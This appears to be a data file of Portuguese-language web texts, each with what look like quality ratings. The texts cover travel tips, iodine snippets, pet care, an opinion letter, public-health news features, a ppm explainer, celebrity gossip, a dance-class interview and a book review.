+Press-release: Vitrine Filmes (via e-mail).
+Item Reviewed: LOS TERRITORIOS | Filme de Ivan Granovsky estreia nesta quinta-feira Rating: 5 Reviewed By: Marlo George",original,original,original,original,4,0.8
+"Carnaval nem sempre é sinônimo de agito e de folia. Para muita gente, é um momento para descansar e recarregar as energias. Com o cancelamento das festividades em diversas cidades devido à pandemia, o feriado prolongado pode ser uma ótima oportunidade para aproveitar alguns dias de tranquilidade. Para isso, nada melhor que viajar para destinos cercados por natureza e voltar reenergizado. Veja dicas de lugares para fugir do Carnaval!
+1. Iporanga | Capão Bonito
+Assim como muitas cidades turísticas no interior de São Paulo, Iporanga fica em uma região de muito verde em SP, em meio a belas paisagens, com atrativos naturais como rios, cachoeiras e mirantes, além de excelentes opções de ecoturismo.
+Uma delas é o Parque Estadual Turístico do Alto Ribeira, mais conhecido como PETAR. O Parque é uma unidade de conservação única do Brasil, com mais de 300 cavernas que integram a maior parte da Mata Atlântica preservada do país. Vale a pena visitar!
+Você pode se hospedar no ibis budget Capão Bonito para ficar próximo do Parque das Águas, da Gruta Casa de Pedra, entre outros lugares incríveis e cheios de sossego.
+2. Olímpia
+Quer descansar sem abrir mão de alguns momentos de diversão? Olímpia, em São Paulo, é a escolha perfeita.
+Com muitos parques aquáticos, além de museus e do famoso Parque dos Dinossauros, o destino oferece entretenimento para todas as idades e é muito procurado por quem viaja em família.
+No Thermas de Olímpia Resorts By Mercure você pode relaxar e curtir o feriado com toda a comodidade e longe do estresse do dia a dia, seja desfrutando da calmaria na piscina do hotel ou se aventurando nos tobogãs e outros brinquedos dos parques aquáticos.
+Cataratas do Iguaçu (Getty Images)
+3. Foz do Iguaçu
+Muito conhecida pelas Cataratas do Iguaçu, Foz do Iguaçu é uma ótima opção para fugir das comemorações tradicionais de Carnaval.
+Entre os atrativos mais famosos estão o Parque das Aves, o Marco das Três Fronteiras e a Usina Hidrelétrica de Itaipu.
+Ficar no hotel ibis Foz do Iguaçu vai te deixar próximo de tudo isso, além de possibilitar passeios à Argentina e ao Paraguai, que são países limítrofes.
+Descubra mais sobre Foz do Iguaçu e outros atrativos diferentes da cidade, como o Templo Budista Chen Tien, o Vale dos Dinossauros e o Bar de Gelo Dreams Ice.
+Veja mais: 10 lugares baratos para viajar no Brasil!
+4. Jalapão
+Tem destino mais natureba que o Jalapão? Por lá, quase a totalidade dos pontos turísticos é ligada ao verde e, claro, ao relaxamento. E as paisagens são fantásticas, entre dunas, cachoeiras e fervedouros que deixam qualquer turista encantado.
+Vale incluir um dia de passeio no Parque Estadual do Jalapão. A distância de Palmas até o Jalapão é de 172 km. Programe este bate volta imperdível!
+Se a viagem for para a capital, uma boa dica de hospedagem é o ibis Styles Palmas.
+5. Cumbuco
+Cumbuco é uma vila de pescadores do Ceará, próxima à capital Fortaleza, que tem como principal atração belíssimas praias de águas tranquilas e faixa de areia extensa.
+Os quiosques à beira-mar são bem estruturados e perfeitos para passar o dia. Se quiser mais emoção, vale incluir os passeios de buggy e quadriciclo no roteiro.
+Embora seja possível fazer um bate e volta a partir da capital, a melhor escolha é ficar em um hotel perto de Cumbuco, como o ibis Caucaia Porto do Pecém.
+Assim, você conseguirá aproveitar melhor e com mais tranquilidade tudo que o destino tem a oferecer.
+Quer aproveitar também as atrações da capital cearense? Veja o que fazer em Fortaleza: a cidade do sol!
+6. Guaxupé
+Minas Gerais é um estado cheio de cidades pequenas, charmosas e muito agradáveis para quem quer passar alguns dias longe da correria diária.
+Uma delas é Guaxupé, que faz parte do Circuito Turístico Montanhas Cafeeiras de Minas, unindo atrativos na natureza com as tradições do cultivo do café e fortalecendo a identidade regional.
+O hotel ibis Guaxupé tem uma boa localização e você poderá visitar lugares como a Casa da Memória e o Parque Municipal da Mogiana, fazer...",original,original,original,original,4,0.8
+"Bem-vindo à Base de Produção de Mineração SHM. Produzimos principalmente equipamentos de britagem, moagem e relacionados à mineração. Se você tiver alguma necessidade, você pode entrar em contato com nosso atendimento ao cliente on-line ou deixar uma mensagem através do formulário abaixo. Vamos atendê-lo de todo o coração!
+16 benefícios do iodo para a pele e a saúde
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+Como identificar o amido nos alimentos
+07 12 2015 Essa solução pode ser preparada dissolvendo se 5g de iodo e 3g de iodeto de potássio em 100 ml de água Quando for preparar a mistura é preciso prestar atenção na proporção a solução de lugol tem sempre 1 de iodo e 2 de iodeto de potássio Pires ou placas de Petri Conta gotas Alimentos com ou sem amido Entre os com
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+PRODUTO COMERCIAL COMPARADO À SOLUÇÃO DE IODO A 6
+como mata bicheira bem como de uma solução iodada utilizada na sala de ordenha por não possuir concentração de iodo capaz de promover a completa cicatrização A presença de álcool nas soluções iodadas beneficia a secagem das estruturas remanescentes do cordão umbilical BITTAR 2009
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+Em bacteriologia a coloração Gram permite uma diferenciação rápida das bactérias Gram positivas e Gram negativas A estrutura da mureína das paredes das bactérias é a base da afinidade da cor As bactérias são coradas com a solução cristal violeta de Gramum corante de anilinano primeiro passo Após o tratamento com a solução de iodo de Gram solução de Lugol formará
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+La povidona yodada no es un buen antiséptico por ser
+20 01 2017 Después de desterrar la Mercromina que nuestros padres nos ponían cada vez que nos hacíamos daño y el alcohol con el que llorábamos como si se acabara el mundo por no ser antisépticos adecuados se aceptó como de uso cotidiano el uso de la povidona yodada que en realidad no debería utilizarse en mujeres embarazadas mujeres lactantes ni bebés
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+esporicida Se trata de un complejo molecular de iodo con povidona El complejo como tal carece de actividad hasta que se va liberando el yodo verdadero responsable del efecto antiséptico La dilución incrementa el proceso de liberación del yodo Propiedades Farmacocinéticas absorción distribución biotransformación eliminación
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+Teste Schiller positivo
+Resposta de Heitor Leandro Paiva Rodrigues Olá O teste de Schiller é uma parte da colposcopia em que é aplicada o lugol uma solução rica em iodo Essa solução cora uma parte do colo uterino em que as celulas possuem uma substância chamada g
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+Parecer Sobre o Uso do Iodo e de Soluções Contendo Iodo
+A solução de Lugol 5 que é composta por iodeto de potássio 10 iodo elementar inorgânico 5 e água destilada contem 2500 µg de iodo em cada gota ou seja mais que 10 vezes a recomendação da
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+Manual Farmacêutico
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+"“Podemos ter um cão?” Seguramente que, ao longo da vida, muitos de nós ouvimos ou fizemos esta pergunta pelo menos uma vez.
+Como tratar do seu cão
+A ideia de um animal de estimação com quem brincar e que nos faça companhia é, desde sempre, atractiva, tanto para crianças como para os mais crescidos. E a verdade é que um companheiro de quatro patas anima-nos os dias com as suas brincadeiras e a sua presença incondicional.
+Mas um animal é um ser vivo e, como tal, exige cuidados para que possa ser o companheiro divertido e constante de longos e bons anos. Ao adoptar um animal de estimação é, portanto, necessário, ter em consideração uma série de elementos, para que o novo amigo que vai chegar à nossa casa tenha uma vida feliz e saudável.
+Alimentação adequada
+Para que os vários sistemas do organismo funcionem correctamente é essencial uma alimentação completa, capaz de satisfazer a necessidade de nutrientes das células. E isto acontece não só com os seres humanos, mas também com os restantes seres vivos. Assim, ao adoptar um animal de estimação, um factor que será necessário ter em conta será a sua alimentação.
+Existe actualmente uma vasta gama de alimentos para animais, mas nem todas possuem a formulação mais adequada. Ainda que os produtos de qualidade superior apresentem um preço mais elevado, apresentam outro tipo de garantia. Uma alimentação adequada em termos nutritivos é um grande passo para garantir ao nosso companheiro uma vida longa e saudável.
+Protecção e cuidado
+Tal como acontece com os seres humanos, existem várias doenças que podem afectar os animais de estimação. Estes estão particularmente vulneráveis nos primeiros meses de vida, pelo que um adequado protocolo vacinal e de desparasitação pode desempenhar um papel fundamental na sua protecção.
+Uma visita ao médico veterinário poderá esclarecer as principais dúvidas no que respeita a este assunto e permitir que se estabeleça o calendário de vacinação adequado ao animal, bem como um plano de desparasitação interna e externa que permite proteger não só o animal, mas todos os que com ele convivem.
+Ambiente e educação
+A presença de um animal na nossa casa pode mudar a nossa vida. Eles têm os seus hábitos e as suas necessidades. Mas é importante que se estabeleça uma adaptação completa entre dono e animal, pelo que uma educação cuidada no sentido do que o animal pode ou não fazer, bem como a inserção num ambiente que responda às suas necessidades, são essenciais.
+Não sabe o que fazer? Existem diversos textos com estratégias e pequenos truques no que à educação de um animal de estimação diz respeito. E, em caso de dúvida, pode sempre pedir conselhos ao médico veterinário.
+Identificação
+Por vezes, imprevistos acontecem. E, no caso de um animal de estimação se perder ou, de alguma forma, desaparecer, é importante ter uma forma de o localizar. Na situação de um animal perdido, a presença de um microchip permite aceder aos dados relativos aos seus donos.
+Um compromisso para a vida
+Ter um animal de estimação é assumir um compromisso para com esse companheiro durante os anos da sua vida. A alimentação e o cuidado que eles merecem são da responsabilidade do dono. Em troca, eles oferecem-nos alegria e devoção incondicionais. Por isso, nunca é demais reforçar esta ideia: os nossos animais de estimação são seres vivos, como nós.
+Não devem e não podem ser simplesmente descartados quando se tornam inconvenientes. Se for de férias, ou se precisar de se ausentar por alguns dias, existem várias opções, desde pedir a ajuda de um amigo a deixar o animal numa instalação adequada durante o período de ausência. O abandono nunca deve ser uma opção.
+Classificação
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+Sobre nós
+Mulher Portuguesa é uma plataforma ...",original,original,original,original,4,0.8
+"Julho de 2022: blogs do Senhor da Bruma, assinados por Gil Saraiva, são reunidos em ""alegadamente"": Estro (poesia), gilcartoon (cartoons) e Desabafos de um Vagabundo (plectro). Tudo deve ser entendido no âmbito do alegadamente.
+Carta à Berta / Desabafos de um Vagabundo / Miga, a Formiga / Estro
+Julho de 2022: blogs do Senhor da Bruma, assinados por Gil Saraiva, são reunidos em ""alegadamente"": Estro (poesia), gilcartoon (cartoons) e Desabafos de um Vagabundo (plectro). Tudo deve ser entendido no âmbito do alegadamente.
+Carta à Berta: As Pandemias Que Assustam a Covid
+Gil Saraiva
+10.02.21
+Olá Berta,
+Para haver moralidade todos devem comer pela mesma medida. A desculpa dada pelo Governo de Portugal (e de tantos outros no mundo inteiro), agora e no passado, para taxar os fumadores prende-se com questões ligadas à ética e à saúde pública e, ainda ao custo que um fumador provoca ao Estado, quando contrai doenças provocadas pelo seu vício nefasto, que afeta o próprio e quem o rodeia.
+É com base nestes pressupostos que o fumador, em primeiro lugar, e outros frequentadores de espaços onde se vendem cigarros e outros produtos produzidos pelas tabaqueiras, em segundo lugar, são obrigados a visualizar as horríveis imagens explicitas dos ditos malefícios, de muito mau gosto e discutíveis, colocadas obrigatoriamente nas embalagens destes produtos.
+A mesma base serve de argumento quer para o elevado peso dos impostos nestes produtos, quer para não permitir a publicidade expressa dos mesmos na televisão, rádio, imprensa, ou em qualquer outro meio de divulgação e anúncio da variedade e qualidade da oferta, que se encontra acessível ao consumidor. Não são permitidos, por isso mesmo “mupis”, outdoors e até publicidade digital. Tudo parece vedado a esta indústria pelo manifesto flagelo que a mesma constitui para a saúde pública. Ora, eu, mesmo sendo um fumador acho muito bem este combate.
+Porém, quando digo que acho bem, também me considero no direito de exigir equidade de tratamento para todos os outros produtos que, de um modo comprovado e cientificamente conferido, causam idênticos prejuízos aos indivíduos e a sociedade no seu todo. Como dizia no início desta carta, minha querida amiga Berta, para haver moralidade todos devem comer pela mesma medida.
+Ora esta norma, se aplicada, porque a justiça do seu princípio me parece inquestionável, devia proibir os apoios que são dados aos viciados em drogas (porque estas, ainda por cima, estão ilegalizadas e são penalizadas a vários níveis, pelo próprio sistema judicial) fornecendo-lhes gratuitamente seringas, salas de chuto e sucedâneos, como é o caso da metadona, ou tratamentos de combate ao vício suportados pelo Estado, o que obriga a despesas que saem diretamente do bolso do contribuinte.
+Pelo mesmo princípio, todos os produtos ligados ao consumo do álcool deviam estar equiparados (e aqui com severas e idênticas penalizações e impostos) aos do tabaco. Com proibição de publicidade a qualquer nível, não devendo sequer ser permitido, como não é para o tabaco, o patrocínio destes produtos a eventos de massa e muito menos ainda a acontecimentos de natureza desportiva. Recordo-te, amiga Berta, que o número de mortos e de problemas e custos para a saúde pública ligados ao álcool supera atualmente os provocados pelos derivados do tabaco.
+No caso do álcool acho pornográfico que se permita que a Sagres patrocine e publicite eventos, equipas e seleções desportivas, como é o caso da Seleção Nacional de Futebol. O mesmo processo deveria acontecer com a “Super Bock” e as outras cervejas. Aliás, nem devia ser permitido que as bebidas com álcool pudessem fazer publicidade, fosse em que meio fosse. Isto inclui a cerveja, todos os vinhos e as chamadas bebidas brancas ou destiladas.
+Não é difícil de entender que só pela influência no espaço governativo dos lóbis ligados ao consumo de álcool se impede o Governo de obrigar à postagem de imagens alusivas aos malefícios do álcool em todas as garrafas colocadas à disposiçã...",original,original,original,original,3,0.6
+"Inscrições abertas para 11º Encontro de Matemática
+Estão abertas as inscrições Encontro Sul-Mato-Grossense de Educação Matemática (XI ESEM) que acontecerá na UEMS de Nova Andradina de 15 a 17 de agosto. Esse evento tem como público alvo profissionais da área de Matemática, bem como alunos e pesquisadores. Esse ano, o debate será: ""Contextualização: contribuições para o ensino e a aprendizagem da Matemática"". Mais informações podem ser obtidas em: http://www.uems.br/eventos/encontromatematica.
+Demais informações estão disponíveis no site do evento http://www.uems.br/eventos/encontromatematica ou na Secretaria Acadêmica.
+A Coordenação do Evento está a cargo do Professor Antonio Sales.",original,original,original,original,3,0.6
+"Aedes: uma emergência internacional - Estadão
+Caça-mosquitos se dedicam a combater o Aedes e ganhar apoio da população
+Eles têm a habilidade de refazer os trajetos da fêmea do Aedes aegypti e impedir que o mosquito continue se proliferando. Com anos de treinamento e de experiência, conseguem verificar cantinhos, vasos aparentemente inocentes e objetos esquecidos. De casa em casa, Jeremias ganha aliados no combate ao transmissor de dengue, zika e chikungunya. De 1987 até hoje, Antônio já conheceu metade do Estado orientando a população. Há 36 anos, Ricardo acompanha o avanço do mosquito e as dificuldades para tentar acabar com ele.
+Os três estão entre os mais antigos “caçadores de mosquitos” do Estado de São Paulo, que têm como missão intensificar as ações em momentos mais críticos e não desacelerar em tempos de calmaria - algo que não tem ocorrido nos últimos anos.
+Às 5 horas, o agente de saúde ambiental Jeremias Cruz acorda e, uma hora depois, já está a caminho do trabalho. Ele mora na Vila Formosa, na zona leste da capital, e trabalha na Supervisão de Vigilância em Saúde Jabaquara / Vila Mariana, na zona sul. “Gosto de chegar cedo, ver qual é a minha missão, conversar com os colegas, tomar um café.”
+Cruz prefere não dizer a idade, mas se orgulha dos 13 anos de combate à dengue enfrentando cachorros ferozes, moradores bravos e situações de risco em suas ações. “Trabalho com vistoria de imóveis, hospitais, ferro-velho, locais de difícil acesso. Cada lugar tem uma dinâmica, cada bairro tem um jeito, cada morador tem um perfil. É um trabalho que gosto de fazer por levar noção de prevenção para as pessoas.”
+O trabalho é de paciência e persistência. Ganhar confiança é o primeiro passo. “Bom dia, meu nome é Jeremias”. Licença, por favor, obrigado e um sorriso não faltam. Todos os moradores das casas visitadas recebem o tom cordial do agente que acredita nunca ter sido contaminado pelo vírus. “Nunca fiquei acamado. Se tive, deve ter sido uma fraca. Não sei se o corpo cria resistência.”
+O desafio não é só impedir a proliferação do mosquito, mas transmitir a noção de que é necessário que todos colaborem. “Tem lugar em que os problemas persistem, mas tem outros que melhoram. Dar bronca é fácil, mas temos de valorizar quem faz o procedimento correto, quando as pessoas aprendem. Mais de 80% dos criadouros estão na casa das pessoas.”
+Evolução. Em 1987, quando o zootecnista Antônio Henrique Gomes, de 56 anos, começou a trabalhar na Superintendência de Controle de Endemias (Sucen), entidade ligada a Secretaria Estadual de Saúde, sua atuação já era ligada ao combate ao Aedes aegypti. Seu primeiro trabalho foi em Araçatuba, no interior paulista, e, de ação em ação, acredita já ter conhecido metade dos 645 municípios do Estado de São Paulo.
+“Trabalhei a vida toda com dengue. No começo, o que a gente tinha de experiência era o sucesso de Oswaldo Cruz, que erradicou o mosquito. Mas encontramos uma série de dificuldades, como a oferta de produtos descartáveis e o descarte irregular, ocupações irregulares. A complexidade do controle ficou muito maior.”
+Nesses quase 30 anos, Gomes já se deparou com casos de pessoas doentes, com notícias de mortes e com as mais variadas desculpas de moradores para negar que mantinham focos. “Eu me lembro de duas situações. Estava fazendo uma visita e a moradora pediu um tempo para eu poder entrar. Depois, eu vi vários pneus sendo jogados por cima do muro. Ela sabia que estava errada. Em outra ocasião, uma senhora disse que deixava uma latinha com água para ‘a mocinha ter o que olhar’. Isso foi na década de 1990”, relembra, rindo.
+O pesquisador científico Ricardo Ciaravolo, de 62 anos, entrou na Sucen em 1980. No início, seu trabalho era basicamente com áreas rurais onde passava orientações a líderes e moradores conhecidos sobre problemas como Doença de Chagas. “A população era basicamente rural. A recusa não era tão grande, porque era mais fácil trabalhar em municípios menores.”
+A chegada do Aedes mudou a rotina dos...",original,original,original,original,4,0.8
+"A tuberculose matou 1,6 milhões de pessoas em 2017, segundo a OMS. Mata mais do que a AIDS e malária juntas. Pesquisadores do Brasil e da Suíça tentam descobrir o segredo genético da bactéria e assim, formas de combater a multirresistência. Porém a crise e cortes na ciência são hoje um grande obstáculo.
+Este conteúdo foi publicado em 24. outubro 2018 - 12:45 24. outubro 2018 - 12:45
+Alexander Thoele
+Alexander Thoele é de origem alemã e brasileira e ingressou na swissinfo.ch em 2002. Nascido no Rio de Janeiro, concluiu seus estudos de jornalismo e informática em Brasília e Stuttgart.
+Mais artigos do autor(a) | Redação em português
+Alexander Thoele, Rio de Janeiro e Recife
+Outras línguas: 9 (pt original)
+Deutsch (de) Forscher vereint zur Ausrottung einer tödlichen Krankheit
+Español (es) Investigadores unidos contra una enfermedad mortal
+中文 (zh) 科研人员为根除绝症携手合作
+عربي (ar) باحثون سويسريون وبرازيليون يَتَّحِدون للقضاء على مرضٍ فتّاك
+Français (fr) Des chercheurs unis pour éradiquer une maladie mortelle
+Pусский (ru) Ученые Швейцарии и Бразилии в борьбе против туберкулеза
+English (en) Swiss-Brazilian disease research faces uncertain future
+日本語 (ja) 「死の病」結核の根絶目指し、グローバルに結束する研究者たち
+Italiano (it) Ricercatori uniti per sradicare una malattia mortale
+Pesquisa da tuberculose: símbolo de risco biológico mostra que essa é uma área de segurança no Laboratório no Centro de Referência Professor Hélio Fraga, no Rio de Janeiro. (imagem: Alexander Thoele) swissinfo.ch
+Uma das bactérias mais perigosas do mundo está depositada em tubos de ensaio em um discreto laboratório, localizado às margens de Jacarepaguá, um bairro da Zona Oeste do município do Rio de Janeiro. Em uma imagem de microscópio ela parece até bastante inofensiva: minúsculos bastões vermelhos sobre uma solução azul turquesa. ""São vários exemplares da micobactéria Mycobacterium tuberculosisLink externo, o agente causador da tuberculose, explica o pesquisador Jesus Pais Ramos, coordenador do Centro de Referência Professor Hélio FragaLink externo.
+Criado em 1984 pelo governo brasileiro, o Centro de Referência Professor Hélio Fraga é uma instituição nacional de referência do sistema de saúde público para tuberculose e outras pneumopatias. Além de tratar pessoas com suspeita de estarem doentes com tuberculose, também recebe amostras de micobactérias enviadas de todas as partes do Brasil. O país está entre os 30 mais atingidos pela tuberculoseLink externo. Em 2017 foram registrados 86.858 casos. Pouco mais de cinco mil pessoas morreram no mesmo ano por causa da doença, segundo a OMS.
+Mata mais que Aids e malária
+Segundo o último relatórioLink externo anual da Organização Mundial da Saúde (OMSLink externo), essas bactérias já infectaram 1,7 bilhão de pessoas, ou 23% da população mundial, pelo menos de forma latente. Isso significa que elas correm o risco de desenvolver a doença em algum momento da sua vida. Em 2017, 10 milhões de pessoas adoeceram de tuberculoseLink externo e 1,6 milhões, morreram, sendo que 300 mil delas eram HIV-positivas. É uma doença que mata mais do que AIDS e malária juntos.
+End of insertion
+Área de risco biológico
+Os pacientes chegam no início da manhã. Os pacientes chegam no início da manhã, alguns deles fazem a coleta de escarro. O que escarram é colocado em recipientes e depois depositados em uma caixa de alta segurança chamada ""pass-through"". Laboratoristas pegam então as amostras e levam para aparelhos especiais que farão a análise do material. O perigo se esconde nos detalhes.
+""Não apenas queremos descobrir se a amostra deu resultado positivo, mas também se a pessoa está infectada com uma bactéria multirresistente ou até algo que desconhecemos"", explica Jesus, apontando para a tela do computador, onde um programa faz o sequenciamento genético molecular da bactéria, exibida com curvas coloridas sobre letras que representam os genes.
+Para visitar o Laboratório do Centro de Referência em Jacarepaguá é necessário assinar um documento se comprometendo a respeitar rígidas n...",original,original,original,original,4,0.8
+"A Fundação Municipal de Cultura de BH vai promover uma oficina para a elaboração de projetos para bibliotecas comunitárias. Dia 04/10, sext...
+A Fundação Municipal de Cultura de BH vai promover uma oficina para a elaboração de projetos para bibliotecas comunitárias. Dia 04/10, sexta-feira, de 14 às 18h, na Biblioteca Pública Infantil e Juvenil. Informações e inscrições: 3277-9833 e dpbpl.fmc@pbh.gov.br
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+"Como fazer o cálculo de ppm? O ppm (partes por milhão) é uma maneira de expressar a concentração de uma solução quando o soluto está em concentrações muito baixas. Desse modo, a definição de ppm é dada como sendo a: “Quantidade de partes do soluto (em massa ou volume) em 1 milhão (106) de partes da solução (em massa ou volume).”
+O que é a PPM e como calculá-la?
+As PPM indicam o número de peças de não-conformidade em seu processo, expresso em partes por milhão. Por exemplo,um gerente de um restaurante fast food observa que 20 entre 1000 clientes esperaram mais de 3 minutos pelo serviço.
+Qual a diferença entre PPM e volume?
+Se a solução for sólida ou líquida, a concentração em ppm é dada em massa; já se for no estado gasoso, ela será fornecida em volume.
+Qual a diferença entre PPM e PPT?
+Assim como ppm significa “partes por milhão”, ppb significa “partes por bilhão”, e ppt é “partes por trilhão”: Essas concentrações tão pequenas são aplicadas principalmente quando se trabalha com dados referentes à poluição do ar e da água.
+Como calcular o fator de conversão de ppm?
+Fator de conversão = ppm/EC. [Nota: se o seu medidor lê em µS/cm, você antes deve converter o valor para mS/cm divindo por 1000 (1.0 mS/cm = 1000.0 µS/cm)] A tabela ao lado mostra rapidamente a conversão de EC para as diferentes escalas de ppm.
+Qual a diferença entre PPM e volume?
+Se a solução for sólida ou líquida, a concentração em ppm é dada em massa; já se for no estado gasoso, ela será fornecida em volume.
+Qual a diferença entre PPM e PPT?
+Assim como ppm significa “partes por milhão”, ppb significa “partes por bilhão”, e ppt é “partes por trilhão”: Essas concentrações tão pequenas são aplicadas principalmente quando se trabalha com dados referentes à poluição do ar e da água.
+Quais são as unidades de concentração que equivalem à relação 1 ppm?
+No entanto, existem casos em que a quantidade de soluto é extremamente pequena, como, por exemplo, a concentração dos poluentes existentes no ar, na terra e na água. Nessas situações, costuma-se usar a unidade partes por milhão, que é representada pela abreviação ppm.
+Como calcular o peso de um produto?
+formula é o peso (ou número de defeitos) dividido pelo volume multiplicado por 1.000.000 - ou w /vx 1.000.000. Por exemplo, se você tiver 100 produtos defeituosos em 10.000 peças fabricadas, divida 100 por 10.000 para chegar ao resultado de 0,01 ou 1% do total.
+Um milésimo de grama é um miligrama e 1000 ml é um litro, de modo que 1 ppm = 1 mg por litro = mg/litro. Quantos ppm há em um mL?
+Qual é a diferença entre PPM e PPB?
+Para água, 1 ppm = aproximadamente 1 mg/L (também escrito como mg/l) de contaminante na água e 1 ppb = 1 ug/L (também escrito como ug/l). ppm significa mg L? Esta é a abreviação de partes por milhão e também pode ser expresso em miligramas por litro (mg/L).
+Como fazer o cálculo de ppm? O ppm (partes por milhão) é uma maneira de expressar a concentração de uma solução quando o soluto está em concentrações muito baixas. Desse modo, a definição de ppm é dada como sendo a: “Quantidade de partes do soluto (em massa ou volume) em 1 milhão (106) de partes da solução (em massa ou volume).”",original,original,original,original,3,0.6
+"De biquíni, Iza rebola muito, leva seguidores ao delírio e quebra a web; assista
+As redes sociais foram incendiadas nesta sexta, por ninguém menos que Iza. A cantora decidiu mostrar aos seus seguidores como estava aproveitando o dia e os levou ao delírio. Para isso, ela compartilhou um vídeo em que aparece dançando de biquíni, o suficiente para render uma ""enxurrada"" de curtidas e comentários na publicação em seu perfil oficial do Instagram.
+Além dos fãs, muitos artistas e amigos da cantora elogiaram a performance. ""Mas o que é isso?!"", questionou Tiago Leifert. ""Eu n consigo parar de assistir. Perdi até o sono"", comentou Gabriela Pugliesi. ""Como pode ser tão gata?"", perguntou Sabrina Sato. ""Ahhhhhhhhhh cara!!!!!!!!! Assim não dá!!!!"", brincou Juliana Paes. ""Até parei meu patinete aqui. QUE HUMILHAÇÃO, meu Deus!"", postou Bruna Marquezine.",original,original,original,original,0,0.0
+"O Salão da Junta de Freguesia de São Victor conta todas as semanas com aulas de dança de salão. Francisco Maia é o responsável por pôr os mais velhos a mexer. Uma atividade que junta dezenas de pessoas com um objetivo comum: dançar!
+1. A quem são destinadas estas aulas?
+As aulas decorrem há quatro anos na Junta de Freguesia de São Victor, no âmbito da Academia de São Victor. O objetivo foi, desde o início, criar um convívio entre pessoas a partir dos 60 anos, de forma a passarem o tempo livre de que dispõem, aproveitando para lhes ensinar um pouco de danças de salão.
+Com o tempo e a procura fomos recebendo pessoas mais novas, sendo que neste momento a nossa aluna mais nova tem 40 anos e o mais velho 90.
+2. Quantos alunos frequentam as aulas de dança de salão?
+De momento temos 35 alunos.
+3. Quais são as danças ensinadas?
+Estamos direcionados para as danças clássicas e clássicas latinas: Cha Cha Cha, Rumba, Bolero, Samba, Passo Doble, Jive, Slowfox, Quickstep, Valsa Inglesa, Valsa Vienense e Tango. Claro que adaptamos os passos à faixa etária e, de forma a que não haja cansaço em termos de postura. Tornamos a dança um pouco mais relaxada.
+4. Quais os benefícios da prática desta atividade?
+Aquilo que está cientificamente provado, e que denotamos ao longo do tempo é, sem sombra de dúvida um alívio do stress, sendo uma ótima forma de combater a ansiedade e a depressão. Como atividade física que exige aprender uma série de passos coordenados, ajuda a recuperar a coordenação motora que ao longo do tempo vamos perdendo, e a aumentar os níveis de autoconfiança de cada um.
+Em termos sociais aproxima as pessoas e permite conhecer novas culturas e criar amizades. Temos neste momento pessoas de mais três nacionalidades para além da nossa.
+5. Como professor, qual a evolução que tem sentido dos alunos que frequentam as aulas?
+No início todos gostam de dizer que são pés de chumbo, que nunca vão conseguir dançar como gostariam, mas a evolução é enorme, sendo que costumo dizer que se os filmasse nas primeiras aulas e passado alguns meses os filmasse novamente não se reconheceriam.
+Acima de tudo e ainda mais importante é notória a alegria e a boa disposição que transparece nas aulas.
+6. O que é o “Chá Dançante”?
+O “Chá Dançante” foi pensado por mim e pelo presidente da Junta de Freguesia de São Victor, Ricardo Silva, como forma de combater o isolamento social a que está sujeita parte da faixa etária mais sénior da freguesia de São Victor. Claro está que acabamos por abrir a atividade à população de todas as freguesias.
+Convidamos as pessoas a aparecerem e a relembrarem os antigos bailes que se faziam, e demos uma pequena aula introdutória às danças de salão aos interessados, com a preciosa ajuda da maioria dos meus alunos que se juntaram para ensinar quem queria aprender. No final foi servido um pequeno lanche oferecido pela Junta.
+Aproveitou-se a ocasião para apresentar os agentes da PSP responsáveis pelo Policiamento de Proximidade, algo que muitos deles não tinham conhecimento que existia.
+7. A PSP também é parceira? Porquê?
+A Junta de Freguesia de São Victor e a Academia de São Victor têm a PSP, no âmbito do Policiamento de Proximidade e do combate ao isolamento social, como um parceiro inestimável no acompanhamento cada vez mais pessoal de uma faixa etária que precisa de apoio e de novas formas de viver e de estar em sociedade.
+A Junta e a PSP acabam por ser as instituições mais procuradas e a primeira ajuda que estas pessoas procuram quando têm dúvidas ou dificuldades.
+8. Planeiam fazer algum acompanhamento online por causa da pandemia?
+Estamos neste momento a acompanhar alguns alunos mais velhos que vivem sós, procurando saber das suas necessidades, e estamos também a trabalhar em pequenos vídeos que serão colocados nas redes sociais da Junta de Freguesia de São Victor, com alguns passos de dança para aqueles que têm contas nas redes sociais consigam de alguma forma manter-se ativos.
+dança de salãoExercícioIdososs. victorsolidariedadetrei...",original,original,original,original,3,0.6
+"Hoje trago os resultados do Top Comentarista de Maio vamos aos resultados direto, antes só queria agradecer a todos pela participação, muito obrigada mesmo, se eu pudesse daria um livro para cada pessoa que participa, mas infelizmente isso não é possível :)
+Segue o resultado do Top de Maio:
+Não fique triste se você não ganhou esse mês de Junho escolhi livros de lançamentos e tenho certeza que dessa vez você vai ganhar;) bora participar?
+Comente nesse post para validar sua participação deixando seu e-mail para contato;
+O envio do livro tem prazo de 30 dias e será enviado pelo blog
+Para concorrer ao sorteio do Top Comentarista, será feito uma verificação de quantos post do mês de Maio cada um comentou e o ganhador será aquele que tiver feito mais comentários no mês, em caso de empate será feito sorteio pelo Randon.org.
+O primeiro gannhador escolhe qual livro quer ganhar e o segundo fica com a outra opção;
+Não nos responsabilizamos se o endereço não estiver correto para entrega;
+Parabéns as meninas que ganharam, que elas realizem uma ótima leitura!
+E não ficarei de fora este mês, estarei participando e torcendo muito!!
+mas bora pro de junho, ta melhor que o de maio.. *-*
+E vou participar de novo, espero conseguir ganhar mais uma vez ^^
+Vou participar do top de junho! :)
+Caramba pensei que tinha participado em todos :(
+Dois livros que desejo muito nesse mês! Estou participando!
+Esse mês vou tentar participar!!
+Vou tentar, mas com essa minha vida doida só deus sabe se vou conseguir.
+Participando, quem sabe ganho o livro esse mês de junho =)
+Participando. Quero muito ganha Um Caso Perdido.",original,original,original,original,1,0.2
+"Algumas vezes, se não várias, a falta de foco do roteiro pode arruinar um filme. Não é o caso.",original,original,original,original,0,0.0
+"Em dezembro, quando saímos em férias, minha esposa levou junto este livro, que eu desconhecia até então. Não o li nesta oportunidade, pois ela é quem
+o fez. Agora, como o Carnaval não é bem a minha praia, resolvi aproveitar a oportunidade para lê-lo. Para minha surpresa, seu título é muito
+modesto, ele não é um livro para ser lido apenas na praia, como diz seu sub-título, mas um livro para ficar ao alcance da mão de qualquer um que
+sonha em fazer negócios através da Internet. Não é um livro para ser lido uma única vez, mas deve ser consultado repetidas vezes. É sensacional.
+Ô, Robert, pára com isso senão eu incho de orgulho! :)) Graças a Deus o livro está vendendo bem. Outro dia passei pela La Selva do aeroporto de Cumbica e ele estava escondidinho. Peguei um livro, fiz a maior cara de triste e comecei a passar a mão acariciando a capa e comentando com uma vendedora, ""Sabia que meu livro sofre quando fica escondido? Se você quiser fazer um livro feliz, arranja um lugar para ele na vitrine"".
